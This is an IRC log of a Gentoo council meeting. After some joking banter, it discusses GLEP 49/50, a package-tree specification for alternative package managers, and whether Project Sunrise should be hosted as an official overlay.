+20:39:42  * nattfodd will maybe consider going outside
+20:39:42 < Blackb|rd> bonsaikitten: if the air is dry enough, that's pretty tolerable.
+20:40:20 < bonsaikitten> heck, 40C is tolerable at 10% humidity
+20:40:33 < bonsaikitten> totally kills my voice, but makess me feel wonderful
+20:40:49 < matje> :)
+20:41:05 < Blackb|rd> bonsaikitten: helium makes nice voices, too ;)
+20:41:23 < matje> lol
+20:41:49 < bonsaikitten> you should use a helium/oxygen mix
+20:41:56 < bonsaikitten> pure helium is the best way to die
+20:42:22 < Blackb|rd> bonsaikitten: depends on the amount you inhale
+20:42:23 <@SwifT> pure oxygen isn't bad either
+20:42:54 < matje> you can always start drinking pure water ;)
+20:43:04 <@SwifT> that's kinky
+20:43:06 < Blackb|rd> fsck. how I "love" pager messages for failing software that's so garbled I barely know which machien is falinig, even less what is wrong with it.
+20:43:11 < bonsaikitten> with pure non-reactive gas you just fall asleep, no averse reaction at all
+20:44:55 <@SwifT> you can always try to inhale vacuüm... if your lungs are strong enoug
+20:45:04 < bonsaikitten> nah, that is evil
+20:45:06 < matje> lol
+20:45:17 < matje> you don't do that yet? :)
+20:45:18 < bonsaikitten> boiling blood in your lungs, slowly drowning you ...
+20:46:02 < bonsaikitten> I guess massive deceleration (sustained >100G) is also an option
+20:46:30 <@SwifT> isn't that something for the roller coaster parks?
+20:46:49 < bonsaikitten> they are limited to 2,5G with rare exceptions at 4G
+20:47:09 <@SwifT> pussies
+20:48:49 -!- wolf31o2|work [n=wolf31o2@gentoo/developer/wolf31o2] has joined #gentoo-council
+20:48:49 -!- kloeri [n=kloeri@gentoo/developer/kloeri] has joined #gentoo-council
+20:49:23 <@SwifT> people are dripping in
+20:49:47  * matje mobs up
+20:49:50 < bonsaikitten> one drop at a time ... that'll take some time :-)
+20:50:01 < matje> or is it mops?
+20:50:14 < marienz> well, a "mob" is probably not what you meant
+20:50:25 < bonsaikitten> marienz, unless it's dripping in?
+20:50:30 <@SwifT> a "murder" perhaps?
+20:50:30 < matje> :)
+20:51:05 < marienz> SwifT: are you suggesting matje should murder the new people coming in?
+20:51:27 <@SwifT> that'd be a nice way of getting my attention
+20:51:42  * matje takes out his shotgung
+20:51:47 < matje> -g
+20:52:07 < bonsaikitten> what is a shotung? ;-)
+20:52:18 < matje> HEADSHOT!
+20:52:21 -!- CHTEKK [n=chtekk@gentoo/developer/chtekk] has joined #gentoo-council
+20:52:24 < matje> one less pussy :p
+20:52:39 -!- Calchan [n=Calchan@84.7.178.12] has joined #gentoo-council
+20:52:41 <@SwifT> the more you kill, the more drop by apparently
+20:52:45 < matje> MULTIKILL!
+20:52:53  * bonsaikitten grabs the GAU-8/A
+20:52:59 < bonsaikitten> oh really?
+20:53:09 <@SwifT> if you say "monsterkill", you're going to leave on my request
+20:53:39 < matje> lol
+20:53:48 <@vapier> is DOMINATING safe then ?
+20:53:51 < matje> RAMPAGE!
+20:53:53 < matje> :)
+20:53:53 <@SwifT> =)
+20:54:09 < Stuart> FLAWLESS VICTORY ? :)
+20:54:09 <@SwifT> good lord, we're full of ctrl+alt+del'ers here
+20:54:18 < bonsaikitten> Fatality!
+20:54:20 < matje> lol
+20:54:36 < matje> why does playing UT make me a ctrl+alt+del'er?
+20:54:42 < matje> it runs on linux you know, natively :p
+20:54:50 <@SwifT> actually I was refering to the comic
+20:54:53 <@solar> do we have a chair for this meeting today?
+20:54:56 <@SwifT> http://www.ctrlaltdel-online.com/
+20:54:57 < matje> comic ?
+20:55:02 <@SwifT> has anice linux character in it too
+20:55:15 -!- kojiro [n=kojiro@gentoo/user/kojiro] has joined #gentoo-council
+20:55:16 <@SwifT> doesn't play any games though
+20:55:18 < matje> never heard of it :)
+20:55:59 <@vapier> those guys are quake fans anyways
+20:57:04 <@SwifT> pfft, quakes are overrated
+20:57:27 <@vapier> your mom is overrated
+20:57:32 <@Koon> crowd attending today, makes us feel useful for once
+20:58:00 < Peper> according to my atom clock: 2 min remaining
+20:58:07 <@SwifT> vapier: she told the same about the size of your...
+20:58:15 < Ramereth> Koon: you're still useless :)
+20:58:19 <@SwifT> brains
+20:58:27 < Blackb|rd> the crowd is just here to see the bashing-in of heads around the two major topics :)
+20:58:34 <@Koon> Ramereth: I know. That's why I'm on the way out
+20:58:51 < brix> evening all
+20:58:57 <@Koon> bricks
+20:58:58 < Stuart> lo brix
+20:59:00 < jokey> evening brix
+20:59:06 < brix> how long does Council meetings usually take?
+20:59:12 <@Koon> too long, why ?
+20:59:14 < Arek> Evening, brix.
+20:59:24 <@Koon> theorically we shouldn't take more than an hour
+20:59:25 < brix> Koon: I've got an exam to study for 
+20:59:36 <@Koon> but for exceptionally boring discussions we can last longer
+20:59:43 < brix> ok
+20:59:53  * solar has a feeling today might just be one of those days.
+21:00:00 < Peper> 19:00 UTC !
+21:00:03 <@SwifT> why do I sudden feel a chill?
+21:00:14 <@solar> cuz I'm cold like ice
+21:00:27 -!- mode/#gentoo-council [+m] by Koon
+21:00:32 <@Koon> About time to start
+21:00:39 <@Koon> who is not there ?
+21:01:01 <@SwifT> any absentees raise your hands
+21:01:06 <@Koon> az
+21:01:27 <@Koon> and agriffis
+21:01:29 <@vapier> i /invited him but he's AFK atm
+21:01:39 -!- spb- [n=me@gentoo/developer/spb] has joined #gentoo-council
+21:01:39 -!- Kugelfang [n=kugelfan@gentoo/developer/Kugelfang] has joined #gentoo-council
+21:01:58 <@vapier> i dont have agriffis' # or i'd call him
+21:02:01 <@vapier> maybe seemant does
+21:02:09 -!- dostrow [n=dostrow@gentoo/developer/dostrow] has joined #gentoo-council
+21:02:14 <@Koon> seemant: are you really with us ?
+21:02:15 -!- dsd_ [n=dsd@gentoo/developer/dsd] has joined #gentoo-council
+21:02:17 -!- Ticho [i=ticho@gentoo/developer/ticho] has joined #gentoo-council
+21:02:24 <@seemant> I am
+21:02:27 <@seemant> sorry
+21:02:33 <@Koon> make a bad joke to prove you are you
+21:02:34 <@seemant> had a thing at my desk but it's done now
+21:02:43 <@seemant> ah shit, ok, let me think
+21:02:58 <@solar> thats good enough.
+21:02:59 -!- Maedhros [n=jc@gentoo/developer/Maedhros] has joined #gentoo-council
+21:03:00 <@seemant> I'm not quite so around any more
+21:03:27 <@vapier> seemant: have you agriffis' # ?
+21:03:28 <@Koon> solar : you push agenda items since you compiled the agenda list ?
+21:03:43 <@seemant> vapier: yes but it's just his house # -- he doesn't have a cell
+21:03:50 <@vapier> k
+21:03:53 <+g2boojum> seemant: He often works from home
+21:04:10 <@seemant> I'm calling
+21:04:19 -!- josip [n=josip@unaffiliated/josip] has joined #gentoo-council
+21:04:49 <@solar> First on the list is Alternative Gentoo Pkg Mgrs. First thing requested to the council was by Halcy0n which is no longer with us.
+21:05:23 <@solar> Later GLEP-49 was proposed and then GLEP-50
+21:05:33 -!- drac [i=drac@gentoo/contributor/drac] has joined #gentoo-council
+21:05:34 <@Koon> but not in time, right
+21:05:43 <@solar> They all pretty much conflict with each other
+21:05:48 <@SwifT> there's still much going on about that subject
+21:05:57 <@SwifT> like the portage (err, tree) definition document
+21:06:09 <@solar> Koon: we are only having discussions today. No votes afaik.
+21:06:12 <@Koon> ok so we should just discuss the thing to give broad inclinations and directions
+21:06:18 <@vapier> i find both GLEPs lacking, one being way too much, the other not being much of anything
+21:06:31 -!- beandog [n=sdibb@gentoo/developer/beandog] has joined #gentoo-council
+21:06:45 <@vapier> i think the best solution to the issue proposed so far is the thread spb just started about the proto-tree
+21:06:51 <@vapier> and everyone is on board with that
+21:07:14 <@SwifT> see, things are falling in place :)
+21:07:52 <@Koon> so that's the thread I should read
+21:08:24 <@vapier> Koon: yes, i spent last nite reading all the threads ... the last three threads should be enough imo
+21:08:25 <@solar> http://www.gentoo.org/proj/en/glep/glep-0049.html http://www.gentoo.org/proj/en/glep/glep-0050.html are the two gleps
+21:08:26 <@SwifT> reading them all requires to take a break from real work :p
+21:08:42 <@vapier> the GLEP 49 by pauldv, g2boojum's half GLEP, and the latest proto-tree thread
+21:09:00 -!- Mr_Bones_ [n=nobody@gentoo/developer/mr-bones] has joined #gentoo-council
+21:09:05 -!- araujo [n=araujo@gentoo/developer/araujo] has joined #gentoo-council
+21:09:10 <@vapier> i'd say you skip the few hundred other e-mails in the first few threads if you soak up those last
+21:09:11 <+g2boojum> vapier: I'm happy to yank mine as unnecessary once spb's gets going.
+21:09:26 <@vapier> am i the only one who felt this way ?
+21:10:03 -!- mode/#gentoo-council [+v spb-] by vapier
+21:10:07 <@vapier> dont think pauldv is around
+21:10:10 -!- DerCorny [n=corny@gentoo/developer/dercorny] has joined #gentoo-council
+21:10:13 <@SwifT> I was too stupid so I started reading them all :p
+21:10:28 <@solar> I'm not sure if that is the end goal that everybody is after. It's a good idea as long as spb is willing todo the work and it's approved by the portage team.
+21:10:41 <@Koon> From what I've read on both issues it's more a conservators/innovators opposition
+21:10:52 <@Koon> My position is that we should make room for both
+21:11:06 <@vapier> s/both/everything/
+21:11:08 <@solar> as it stands the portage documentation is where things are documented.
+21:11:11 <@Koon> withotu one necessarily breaking the other
+21:11:32 <@vapier> solar: which is incomplete and not a spec by any means
+21:11:45 <+spb-> for what it's worth, the vague idea behind those two -dev threads is a yet unwritten glep somewhere between 49 & 50
+21:12:06 <@Koon> vapier : my concern is that all innovative projects (good or bad) are being shot down on -dev, and those people with ideas won't propose a new one after that
+21:12:44 <@vapier> Koon: ok ?  why are you addressing that to me ... my point was that paludius is a specific example, this discussion should not tie itself down to one instance
+21:13:17 <@Koon> yes.
+21:14:15 <+g2boojum> spb-: What's your (realistic) timescale for your spec?
+21:14:36 <@solar> genone, zmedico, marienz if you guys have anything to add to the subject please /msg any one of the ops for a voice
+21:14:55 -!- mode/#gentoo-council [+vvv marienz zmedico genone] by solar
+21:15:05 <+spb-> g2boojum: depends who wants to chip in, what else happens in the next few months, etc ... definitely nontrivial though
+21:15:16 <+spb-> assuming you mean the tree spec
+21:16:02 <+g2boojum> spb-: Yes, that's what I mean.  I would suggest punting 49 and 50 until that's done, but that won't work if it's going to take so long that people won't want to wait.
+21:16:29 <+genone> re tree spec: first step there is to break it down into components and create a spec for each component
+21:16:40 <+marienz> don't know how relevant it is, but speaking as an ebuild dev I appreciate not having to ensure my ebuilds work with half a dozen of package managers. I think that's the main thing that needs to be "fixed" for alternative package managers.
+21:16:43 -!- dertobi123 [n=tobias@gentoo/developer/dertobi123] has joined #gentoo-council
+21:16:50 -!- amne [n=amne@gentoo/developer/amne] has joined #gentoo-council
+21:16:55 <+spb-> g2boojum: it's the sort of thing afaict that's not difficult, but time-consuming
+21:17:14 <+spb-> there's a lot of relevant stuff in the devmanual and elsewhere, which can be used
+21:17:39 <+genone> also depends how detailed things are going to be
+21:17:42 <@vapier> marienz: you ensure the ebuild works with the spec
+21:17:47 <+marienz> exactly.
+21:18:21 <+marienz> so there needs to be either a spec or one (or two, but preferably more than that) must be declared sufficiently "official" that all ebuilds must work with them.
+21:18:34 <+g2boojum> vapier: Actually, I still suggest punting 49 and 50, since the reason behind it (adding a new profile) has gone away, now that paludis is going to use virtual/portage as a band-aid for now.
+21:18:44 <+spb-> this also makes the requirements for supporting another package manager much simpler -- if it supports every ebuild/tree format currently in use, you shouldn't need to worry about little differences between them
+21:18:46 <+marienz> glep 50 kind of addresses that, I'm not sure 49 does (I did not fully understand everything that one was saying)
+21:19:03 <@vapier> g2boojum: agreed
+21:19:21 <+marienz> err, preferably *no* more than that :)
+21:19:57 <@Koon> If everyone is OK maybe we should move on
+21:19:59 <@vapier> i think at this point it's sane to leave the tree spec in the capable hands of our portage devs and let spb help with the footwork ?
+21:20:10 <@vapier> s/sane/safe/, depending on how you want to look at it
+21:20:32 <@seemant> all that's been said I  agree with, really -- get a spec going :)  let everyone know what's going on and how they can chip in (if you need chipping in)
+21:21:13 <@Koon> also this spec will help define what's good and what's bad, without talking of multiple package managers
+21:21:28 <@vapier> sometimes seemant you remind me of Harold
+21:21:31 <@solar> vapier: my understanding is that spb is proposing it. He should probably do most of the legwork and have the portage team review/approve it.
+21:21:47 <@seemant> vapier: harold was modelled after me
+21:21:49 <@seemant> who's harold?
+21:21:57 <@vapier> err sorry, i mean Kumar
+21:22:02 <@Koon> that's a bad one. You're authentified
+21:22:07 <@seemant> who's that?
+21:22:29 <@vapier> spb-: hows that sound ?
+21:22:57 <@vapier> seemant: remind me to bring a dvd next time we hook up :p
+21:23:02 <@seemant> vapier: ha ok
+21:23:11 <+spb-> sounds good to me
+21:23:51 <@vapier> everyone satisfied for now ?  any other input ?
+21:24:26 <@seemant> no, let's move to the next one
+21:24:43 -!- mode/#gentoo-council [+v brix] by solar
+21:24:47 <@Koon> Project Sunrise, or how much official is official
+21:24:51 -!- mode/#gentoo-council [+v Stuart] by solar
+21:25:10 -!- mode/#gentoo-council [-vvv genone marienz spb-] by vapier
+21:25:13 -!- mode/#gentoo-council [-v zmedico] by vapier
+21:25:18 <@solar> thanks guys
+21:25:26 -!- mode/#gentoo-council [+v jokey] by Koon
+21:25:28 <@vapier> hmm, freenode only allows 3 ops per line ?  weak
+21:25:46 <@SwifT> bah, Sunrise... now *that* was a thread
+21:25:53 <@solar> (s)...
+21:25:54 <@Koon> threads, you mean
+21:26:16 <@SwifT> yeah
+21:26:29 -!- mode/#gentoo-council [+v genstef] by Koon
+21:26:45 <@Koon> I must confess I've not read it all
+21:26:46 <@solar> ok so the root problem here is that some people do not want the overlays to be a dumping ground for user submitted ebuilds that have not had the sligest bit of QA?
+21:26:59 <@seemant> I'll go on record here as pretty much agreeing with Gianelloni was saying -- we don't need a dumping ground for untested/unapproved stuff, if that ground is going to exist in an official capacity
+21:27:15 <@solar> others want it to be a place to breed new ideas and welcome the comminty at large?
+21:27:19 <@SwifT> I can agree on that, bmg all over again
+21:27:35 <@seemant> I have no complaints about Sunrise being offsite and harvesting bugzilla for their overlay
+21:27:38 -!- mode/#gentoo-council [+v wolf31o2|work] by solar
+21:27:38 <@vapier> even if they have a bit of QA, the idea is that the interm maintainers arent famailiar at all
+21:27:51 <@Koon> still, opening up the tree a little more to the community is really needed
+21:28:02 <@Koon> the dev community is too closed
+21:28:09 <+brix> so far you've pretty much summarized my concerns
+21:28:14 <@seemant> but my understanding was that overlays.g.o was to collect together the various overlays from spyderous and other devs
+21:28:24 <+brix> Koon: agreed, but Sunrise is not the solution imho
+21:28:43  * vapier copies & pastes what brix said
+21:28:46 <@seemant> Koon: I do agree with you -- and I would wholeheartedly approve of (and indeed encourage!) an offsite project sunrise
+21:29:01 <+brix> seemant: the original proposal for overlays.gentoo.org was to host developer and project/team specific overlays
+21:29:09 <@Koon> hm.
+21:29:13 <@seemant> Koon: I think it has potential as a recruiting ground, a training ground, even
+21:29:36 <@seemant> Koon: and I can see devrel possibly wanting (this is speculation) to work with sunrise to get the user community more involved
+21:29:38 <@Koon> the problem is that you see official/stable as a binary thing
+21:29:49 <@seemant> not stable, just official
+21:30:14 <+genstef> seemant: one of our goals is to find new recruits
+21:30:35 <@solar> I don't want to see us turn into a deb where we recurit people to maintain a 1 single pkg. We end up with to much dev overhead.
+21:30:51 <@seemant> Koon: from the way I see it, if sunrise serves a training ground, that's fine and indeed great, but I do see chris and henrik's concern (and share it) that our actual bugzilla will get spam, and our developers will get overloaded
+21:30:59 <+brix> solar: so introduce a project for proxy maintainers like *BSD does
+21:31:20 <@seemant> Koon: make that BugDay rather than devrel
+21:31:20 <@Koon> For example we could have multiple tree subsets, "enterprise", "security-supported", "official-dev-supported", "dev-overlays", "experimental dumping" and the user gets to choose the one he wants
+21:31:26 <@seemant> since that project is more suited
+21:31:36 <@Koon> of course not doable with our current model
+21:31:43 <@seemant> Koon: and I'll support that as soon as we have a model that can do it
+21:31:51 <@seemant> Koon: as you say we can not right now :)
+21:32:16 <@Koon> OK then. We agree  that the intention is laudable but it's not the right way to do it
+21:32:24 <@seemant> please keep in mind, dear reader (this includes the people reading this on archive): I like project sunrise's potential -- I just think it's misplaced being an official project
+21:32:39 <@SwifT> multiple tree subsets; that will so require too much resources...
+21:32:43 <@seemant> wrong timing, I guess
+21:32:48 <+jokey> seemant: well what  kind of overload do you expect?
+21:32:51 <@Koon> SwifT: or concentric ones
+21:32:51 <+brix> seemant: yes, I agree
+21:32:53 <@seemant> SwifT: it's a conversation for another day -- we'll have to grow into it :)
+21:33:06 <@Koon> SwifT: Ubuntu-like
+21:33:07 <@SwifT> I'm already feeling the growth pains
+21:33:11 <+brix> Project Sunrise is not a bad idea - I just do not wish to see it as an official project
+21:33:20 <@Koon> oh, I said the U-word
+21:33:21 <@solar> for the moment can we not call it sunrise and focus on what our goals for overlays. should be?
+21:33:23 -!- hydrogen [n=hydrogen@amarok/rokymotion/Hydrogen] has quit [Connection timed out]
+21:33:28 <@seemant> jokey: part of the overload I can see immediately would be bugzilla spam for starters
+21:33:38 <@seemant> jokey: bugs that are invalid popping up
+21:33:45 <+genstef> seemant: the whole point of sunrise is being by "gentoo", users should contribute to "gentoo" instead of third-party
+21:34:15 <+brix> genstef: which is a good idea - but I don't see Sunrise as the best solution to that problem
+21:34:22 <@seemant> genstef: and they will, when they are ready -- sunrise isn't a place for quality ebuilds, it's coming across as "harvest all unresolved bugs for ebuilds, put them into a tree and ship"
+21:34:44 <+genstef> seemant: I think we should host more stuff on gentoo infra where we can actually fix it - broken third party overlays give a bad impression about gentoo as well
+21:34:50 <@seemant> genstef: and if that statement is true then those potential developers are not served well by it -- they should be exposed to peer review etc
+21:34:54 <@Koon> brix: it's easier to say no than to propose something better, unfortunately
+21:35:03 -!- Pylon [n=pylon@gentoo/developer/Pylon] has joined #gentoo-council
+21:35:14 <@Koon> I tend to respect those coming up with ideas, projects and energy to do them
+21:35:16 <@seemant> genstef: I disagree, I think third-party development is what makes an entity thrive (as examples, microsoft and apple both serve well)
+21:35:29 <+genstef> seemant: they are, actually we have a certain peer review in the sunrise and -dev-help channels and ebuilds are reviewed by a developer always
+21:35:32 <@Koon> because we lack them atm
+21:35:33 <+brix> Koon: well, had the project been discussed before it was done I could have prepared a proposal
+21:35:59 <@seemant> brix: I'm glad you're here and I'm glad you said that
+21:36:01 <@Koon> brix: here we fall in the "Projects can pop up anywhere" metstructre
+21:36:05 <+genstef> seemant: I cannot think why they should be of low quality - they have all been reviewed
+21:36:11 <@Koon> that was the model voted
+21:36:15 <@seemant> brix: I think it would be appropriate and opportune even now for you to make that proposal
+21:36:49 <+brix> seemant: I will eventually - but I am also in the middle of finishing my education
+21:37:10 <+brix> Koon: the model doesn't say anything about not discussing projects first :)
+21:37:25 <@seemant> genstef: have they? can you take a kernel-sources ebuild or a games ebuild (to remention two examples on the lists -- which I'm reading again, btw!) -- and really Qa them without knowing much about those projects/
+21:37:30 <+jokey> brix: well I guess we can really work together here and improve it together
+21:37:32 <@seemant> or, god help you, a java ebuild?
+21:37:33 <@Koon> brix: they followed the way to create a project as described in g2boojum's metastructure model (which was not my model, as you may remenber), designed to favor innovation
+21:37:34 <@vapier> brix: but it does not require it
+21:38:16 <+genstef> seemant: nope, we can not, but we are providing general ebuild QA + projects which we are in, and I am in mayn projects.
+21:38:17 <+brix> vapier: I didn't say it did
+21:38:19 <+brix> Koon: I know
+21:38:44 <@seemant> genstef: that's a good thing -- what happens when you go on vacation, get sick, etc?
+21:38:49 <@Koon> but we fall in the exception rule, the council arbitrates conflicts created by multiple conflicting projects
+21:39:02 <+g2boojum> vapier: True, and if you don't discuss it first, you get several hundred e-mails of people beating up on you.  I certainly hope people have learned.
+21:39:04 -!- sybille [n=sybille@dra38-3-82-236-190-42.fbx.proxad.net] has joined #gentoo-council
+21:39:08 <@seemant> genstef: again, I'm not against the idea, but I would like to see a more robust plan
+21:39:14 -!- rangerpb [n=ranger@gentoo/developer/rangerpb] has joined #gentoo-council
+21:39:25 <+jokey> seemant: well if there is no dev available then there is no new commit
+21:39:40 <@Koon> anyway, there has been plently of discussion since it was announced, and I've yet to see a model that achieves the openness goal with a better model
+21:39:51 <@vapier> g2boojum: yes, but i just dont want people getting the idea that things need to be approved first
+21:40:01 <@seemant> jokey: I guess I would feel better personally were it to be a semi-official rather than fully official project
+21:40:10 <@seemant> jokey: a partner project, if you will
+21:40:10 <+g2boojum> vapier: Ah, I misunderstood.  Fair enough.
+21:40:27 <@seemant> vapier: touche
+21:40:30 <+jokey> seemant: expand a bit please
+21:40:58 -!- beejay [n=benni@gentoo/user/beejay] has joined #gentoo-council
+21:41:18 <@seemant> jokey: ok, so what I've learned in the last few minutes of talking with you and genstef is 1. you want an official-like way of recognising user input, instead of letting users get discouraged via bugzilla inactivity
+21:41:42 <+jokey> seemant: exactly the point :)
+21:41:42 <@seemant> 2. project sunrise will try and partner up users with developers to try and improve their ebuild/eclass m@dsk1llz
+21:42:02 <@seemant> jokey: what I've learned from henrik and chris (mainly) in the mailing lists is:
+21:42:05 <@seemant> s/is/are:
+21:42:24 <@seemant> 1. there is overhead, 2. is the bar being lowered *too* much for official recognition of things?
+21:42:38 <@solar> I think this is starting to sound like something other than what should be overlays.g.o
+21:43:02 <@seemant> 3. what of the disconnect between portage's official $herd-of-ebuilds vs sunrise's $analagous-herd-of-ebuilds
+21:43:31 <+genstef> what do you mean?
+21:43:45 <@seemant> jokey: I've not, honestly, seen point 3 resolved yet
+21:44:16 -!- `Kumba|work [n=kumba@gentoo/developer/Kumba] has joined #gentoo-council
+21:44:16 <@vapier> brb
+21:44:47 <@seemant> jokey: and an additional concern is the perception of gentoo officially endorsing ricing <-- the potential of that
+21:44:51 <+jokey> seemant: well we're only after maintainer-wanted apps who are not (yet) in the tree and also we don't want to get in conflict with the base system
+21:44:57 <+brix> despite the good intentions of jokey and genstef I fail to see how two developers will be able to keep track of litterally thousands of ebuilds in a parallel portage tree - maintain them, look for security issues, take care of QA, ... - all why educating users and keeping track of their other work assignments in Gentoo
+21:45:12 <+Stuart> solar: o.g.o's there to provide a place for devs and users to collaborate; in that respect, sunrise is in keeping with the spirit of o.g.o.  But it's also about making sure that the user contributions are safe & valid ... and there are question marks about that, to be sure
+21:45:22 <+brix> s/why/when/
+21:45:23 <+genstef> brix: we can always cut down on the number of committers or close the overlay for a period of time
+21:45:29 <@Koon> also we are enable to easily reject bugs coming from unsupported overlays
+21:45:40 <@Koon> the problems may not be tainted enough
+21:45:53 -!- Blackb|rd [i=klausman@eric.schwarzvogel.de] has left #gentoo-council []
+21:46:32 <+Stuart> brix: there's something like 1800 maintainer-wanted bugs iirc
+21:47:04 <+brix> plus maintainer-needed ebuilds
+21:47:30 <@seemant> that's a lot of bugs
+21:47:32 <@seemant> lot of ebuilds
+21:47:36 <@seemant> lots of maintenance required
+21:47:38 <@Koon> plus unidentified maintainer-is-MIA and herd/team-is-empty ebuilds
+21:48:08 <@Koon> my position is that the tree is, at the same time, too large and too closed
+21:48:09 <+jokey> seemant: yep but as genstef said already, we're in full control here. we control the ebuilds and the count of commiters
+21:48:16 <@seemant> Koon: too large yes!
+21:48:24 <+wolf31o2|work> sorry... just noticed I was voiced and have a few minutes at work to chime in... wouldn't something for maintainer-needed (rather than maintainer-wanted) do more to benefit Gentoo, while still giving the "training ground" that many seem to think is needed?
+21:48:27 <+Stuart> seemant: indeed, that's the case whether or not it's on official hardware
+21:48:45 <@seemant> Stuart: no the official tree I mean
+21:48:49 <@Koon> for example there is no way to restrict security activity to a supported set. What we say is that ~ ebuidls are not supported but that's just as much we can do
+21:49:13 <+Stuart> wolf31o2|work: that's a good point
+21:49:42 <+jokey> wolf31o2|work: really a good point. we are allowing both currently, but we easily can focus on that part first
+21:50:09 <+brix> jokey: I still don't see the need for an overlay for this
+21:50:17 <+wolf31o2|work> I guess I see sunrise as a place to dump "junk"... whereas maintainer-needed stuff has already been in the tree... already checked by a developer (at least once) and should be easier to keep up with... it also reduces the amount of "junk" in the tree, by helping find maintainers for packages which are currently abandoned
+21:50:29 <+brix> I'd much rather see some form of proxy maintainership being introduced
+21:50:39 -!- MasterOfDisaster [n=mod@156b.jkh.uni-linz.ac.at] has joined #gentoo-council
+21:50:46 <+wolf31o2|work> don't we already *have* that ability?
+21:50:52 <@solar> yes we do
+21:50:53 <+brix> wolf31o2|work: ability, yes
+21:51:04 <@seemant> brix: I can see an overlay (un- or semi- official at least to begin with) that gets people used to using the tools like repoman and cvs, etc
+21:51:14 <+Stuart> brix: the difference with an overlay is that (done right) it gets more users involved in the dev community
+21:51:17 <@seemant> echangelog, and all that other good stuff
+21:51:40 <+brix> seemant: the committers do not have know CVS if committing through a proxy developer
+21:51:54 <@solar> seemant: your talking about opening up +w access to the community?
+21:51:58 <+wolf31o2|work> brix: then it fails as a trinaing ground
+21:51:59 <+g2boojum> wolf31o2|work: I agree with your general point, but referring to all of the maintainer-wanted stuff as "junk" is rather pejorative.  There are some packages there that are well-written and used by many people.
+21:52:00 <@seemant> brix: correct, but what if you think of it as a training ground?
+21:52:02 <@seemant> solar: um, no
+21:52:14 <@seemant> solar: please re-read and don't panic on the word "cvs"
+21:52:38 <+brix> seemant: if hosted on non *.gentoo.org, fine by me
+21:52:52 <@seemant> brix: that's why I said unofficial or semi-official
+21:52:56 <+wolf31o2|work> g2boojum: it doesn't have a maintainer now, which to me means it would be simply adding to the problems we have now, rather than being any sort of solution... you also notice I used junk in quotes... to denote is as meaning "a lot of stuff" more than "crap"
+21:53:05 <+wolf31o2|work> g2boojum: if I meant crap, I would have said crap... heh
+21:53:32 <+wolf31o2|work> sorry for not being clearer there
+21:53:33 <@solar> if hosted on something other than *.gentoo.org then we don't need to be talking about it here now. It's just an external project.
+21:53:34 <+g2boojum> wolf31o2|work: Sorry, I missed the subtle difference in connotations.  Point made.
+21:54:08 <@seemant> solar: hang on a second
+21:54:22 <@solar> I'm not going anywhere for 6 mins
+21:54:28 -!- mode/#gentoo-council [+v Ramereth] by solar
+21:54:28 <@seemant> solar: what I'm proposing is actually the point -- semi-official project
+21:54:43 <+brix> seemant: please define "semi-official"
+21:54:47 <@seemant> just because it's not an immediate infra concern doesn't make it a non-gentoo concern
+21:54:51 <@SwifT> nongentoo.org ? :)
+21:54:54 <+jokey> well actually m-n/m-w bugs are on gentoo hardware, the forums are so why not the overlay then as well?
+21:55:22 <@seemant> brix: there's the rub :) semi-official -- we recognise the project and its goals, and to a certain extent support it
+21:55:35 <@seemant> brix: unoffical is like bmg -- we know it exists, we don't do anything about it
+21:55:40 <+Stuart> seemant: won't "semi-official" lead to more debate, because it's neither one nor the other?
+21:55:57 <@seemant> Stuart: it's more like pergatory -- a training ground for the project itself
+21:56:26 <+Ramereth> the only way I see it working is if its properly managed by the right people and do a decent amount of training/qa to make sure its being done right
+21:56:31 <+Stuart> seemant: ah, then why not setup a group to oversee the project, act as mentors for it? (ie an incubator)
+21:56:54 <@seemant> Stuart: seems to me genstef and jokey (and patrick) have formed that group
+21:57:01 <+Ramereth> if that can be proven and done right, I don't have much of a problem with us hosting it. But as it stands now, i don't have the confidence so that that it will be like that
+21:57:03 <@seemant> Stuart: the point is what to do with it now
+21:57:04 <@solar> thats to grey for me seemant.. I feel it's needs to be black or white
+21:57:14 <@seemant> solar: not everything in life is, my friewnd
+21:57:18 <+jokey> Ramereth: if you're one of "the right people" then step up and help us :)
+21:57:34 <+Ramereth> i don't have the time
+21:57:43 <+brix> I still don't see why an overlay is needed for involving users, though
+21:57:59 <+Ramereth> is there another mechanism that might work better?
+21:58:03 <@Koon> brix: convenience
+21:58:12 <@seemant> brix: there's more to being a dev than just writing ebuilds -- there's the bit that involves the use of tools -- repoman, echangelog
+21:58:15 <+brix> Ramereth: proxy maintainers
+21:58:19 <@seemant> brix: there's the concerns about digests and signing, etc
+21:58:35 <@solar> mostly it's about reading mails and filtering spam
+21:58:40 <@seemant> brix: why not take advantage of a source control system to provide that additional level of training
+21:58:43 <+Ramereth> see, this idea is bigger and more complex than the original authors realize.
+21:58:53 -!- hydrogen [n=hydrogen@amarok/rokymotion/Hydrogen] has joined #gentoo-council
+21:59:00 <@seemant> Ramereth: I suspect you might be right
+21:59:09  * Koon tries to train a bayesian filter to recognize flames and pointless +1's
+21:59:10 <+Ramereth> you can't just put an overlay up and expect it to solve all the issues
+21:59:28 <+Ramereth> this needs to be a joint project between userrel and devrel
+21:59:42 <+Ramereth> with guidlines and a group of people actually helping users
+22:00:09 <+Ramereth> maybe sandbox area that the general public can't get to so save from the crazy bugs, but the mentors/users can still test it
+22:00:11 <+jokey> Ramereth: well actually the users are already active on the gentoo-dev-help chan
+22:00:15 <@solar> brb (bad smoking habit)
+22:00:47 <+Ramereth> I like the general idea of sunrise, but it needs a lot of work and needs a whole group of developers too deal with it
+22:00:54 <+Ramereth> two people simplly can't do it, i'm sorry, you can't
+22:00:55 <+jokey> Ramereth: and helping devs as well of course
+22:00:57 <+Stuart> we've seen with things like the PHP overlay that you *have* to have knowledgable devs helping the users who have +w access
+22:01:25 <@Koon> Ramereth: they control the number of contribs and can shut it down if they don't have enough manpower
+22:01:42 <+Ramereth> i don't have confidence that they will do that when someone complains
+22:02:00 <@seemant> Ramereth: a project for BugDay, but yes, you're on the right track
+22:02:11 <@seemant> devrel has its hands full already I think
+22:02:18 <+Ramereth> think of it like an ebuild training project
+22:02:19 <@seemant> though sunrise has the potential to ease that load
+22:02:34 -!- mode/#gentoo-council [+v bonsaikitten] by Koon
+22:02:55 <+Ramereth> simply turning off the valve on contribs won't fix it
+22:03:06 <+bonsaikitten> I wish to add that sunrise is already interacting a lot with userrel
+22:03:55 <@Koon> Ramereth: but you agree we need to find a way to make the community a little less binary (in the devclub or out) if Gentoo is to survive, right ?
+22:04:01 <+bonsaikitten> also, it's only two devs now in the beginning - which other project started with many more contributors?
+22:04:08 <+Ramereth> Koon: yes, but it needs to be done *right*
